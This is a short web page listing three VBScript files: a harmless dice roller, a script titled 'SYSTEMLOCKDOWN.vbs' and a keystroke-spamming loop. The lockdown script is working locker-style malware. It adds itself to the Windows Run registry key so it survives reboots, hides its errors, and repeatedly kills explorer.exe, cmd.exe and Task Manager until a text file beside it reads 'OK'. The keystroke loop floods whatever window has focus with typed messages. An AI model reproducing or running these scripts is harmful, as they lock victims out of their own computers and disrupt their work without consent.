top of page

.VBSCRIPTS

DICE.vbs

  1. '*** The line: 'Randomize Timer', is necessary for the random numbers thrown to be 'different' in sequence;

  2. ' without it, the dice numbers thrown will always follow 'the same' sequence. 

  3. ​

  4. Randomize Timer

  5. intDiceNo = Int(Rnd*6)+1

  6. MsgBox(intDiceNo)

SYSTEMLOCKDOWN.vbs

  1. 'MOM v2.0

  2. 'File "2.vbs"

  3. 'Copyright Debayan Sutradhar 2016

  4. On Error Resume Next

  5. Set shell=CreateObject("WScript.Shell")

  6. Set fso=CreateObject("Scripting.FileSystemObject")

  7. shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MOM2",WScript.ScriptFullName,"REG_SZ"

  8. path1=WScript.ScriptFullName

  9. path2=WScript.ScriptName

  10. path=Replace(path1,path2,"")

  11. Do

  12. shell.Run "taskkill /F /IM explorer.exe",0

  13. shell.Run "taskkill /F /IM cmd.exe",0

  14. shell.Run "taskkill /F /IM Taskmgr.exe",0

  15. WScript.Sleep 1000

  16. If fso.FileExists(path&"POOP.txt") then

  17. Set check=fso.OpenTextFile(path&"POOP.txt",1)

  18. line=check.ReadLine

  19. check.Close

  20. If line="OK" Then

  21. Set check1=fso.OpenTextFile(path&"POOP.txt",2)

  22. line=check.WriteLine(Null)

  23. check1.Close

  24. shell.Run "explorer.exe"

  25. WScript.Quit

  26. end if

  27. End If

  28. Loop

LOOP.MESSENGER.vbs

  1. Set wshShell = wscript.CreateObject("WScript.Shell") 

  2.  do 

  3.  wscript.sleep 100 

  4. wshshell.sendkeys ".TYPE YOU'RE MSG HERE!!!" 

  5. loop

bottom of page